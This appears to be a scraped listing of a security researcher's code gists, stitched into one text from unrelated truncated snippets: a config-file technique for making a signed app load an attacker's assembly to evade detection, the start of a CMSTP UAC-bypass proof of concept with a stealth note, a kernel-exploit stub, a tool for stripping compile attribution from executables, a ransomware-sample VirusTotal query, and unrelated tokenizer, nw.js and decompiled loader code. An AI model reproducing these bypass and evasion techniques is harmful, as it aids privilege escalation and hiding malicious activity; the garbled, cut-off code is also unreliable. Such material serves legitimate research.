Sheng-Hao Ma aaaddress1

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

	#include <windows.h>
	#include <iostream>

	// CMSTP UAC Bypass PowerShell Version.
	// ref: https://github.com/tylerapplebaum/CMSTP-UACBypass/blob/master/UACBypassCMSTP.ps1
	auto cmstp_uacbypass_ps1 = "# UAC Bypass poc using SendKeys\n"
	"# Version 1.0\n"
	"# Author: Oddvar Moe\n"
	"# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/\n"
	"# Todo: Hide window on screen for stealth\n"

	# GPT2 BPE-Tokenizer token 轉 utf-8 處理
	# 轉換僅針對不在詞表內，以bytes形式表達的token(如中文字)

	from transformers import AutoTokenizer
	tokenizer = AutoTokenizer.from_pretrained("gpt2")
	word = "台"
	tokens = tokenizer.convert_ids_to_tokens(tokenizer(word,add_special_tokens=False)["input_ids"])
	print("tokens:",tokens)

	# 轉 utf-8


	Add-Type -TypeDefinition @"
	// ref: http://showlinkroom.me/2020/10/16/WindowKernelExploit01/
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	public static class EVD2
	{
	[DllImport("kernel32.dll")]

	import pefile, struct, sys

	if len(sys.argv) != 2:
	print(f"Strip your personal compile info from Exe Files by [email protected]")
	print(f"Usage: {sys.argv[0]} [path/to/exe]")
	sys.exit(-1)

	# Rewrite from pefile: https://github.com/erocarrera/pefile/blob/593d094e35198dad92aaf040bef17eb800c8a373/pefile.py#L3402
	def mask_myRichHdr(in_pefile):
	DANS = 0x536E6144 # 'DanS' as dword

	# can search sample's hash on virustotal by the following query:
	# >>> {RANSOMWARE_FAMILY} and sandbox_name:virustotal_cuckoofork and engines:ransom
	import sys
	import requests

	if len(sys.argv) != 2:
	print(f"usage: {sys.argv[0]} <sample-hash> by aaaddress1.\n")
	sys.exit(-1)

	url = 'https://www.virustotal.com/vtapi/v2/file/behaviour'

	wget //github.com/LeonardLaszlo/nw.js-armv7-binaries/releases/download/nw60-arm64_2022-01-08/nw60-arm64_2022-01-08.tar.gz

	tar xvf nw60-arm64_2022-01-08.tar.gz
	tar xvf usr/docker/dist/nwjs-chromium-ffmpeg-branding/nwjs-symbol-v0.60.1-linux-arm64.tar.gz

	cd nwjs-v0.60.1-linux-arm64/
	export DISPLAY=:0.0
	./nw --use-gl=egl --ignore-gpu-blacklist --disable-accelerated-2d-canvas --num-raster-threads=2

	__int64 __fastcall LdrpInitialize(PCONTEXT threadCtx, IMAGE_DOS_HEADER *peImgToFix)
	{
	// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

	currTeb = NtCurrentTeb();
	while ( 1 )
	{
	loadStep = (unsigned int)_InterlockedCompareExchange(&LdrpProcessInitialized, 1, 0);
	if ( (_DWORD)loadStep == 1 && (currTeb->SameTebFlags & 0x2000) == 0 )
	goto done;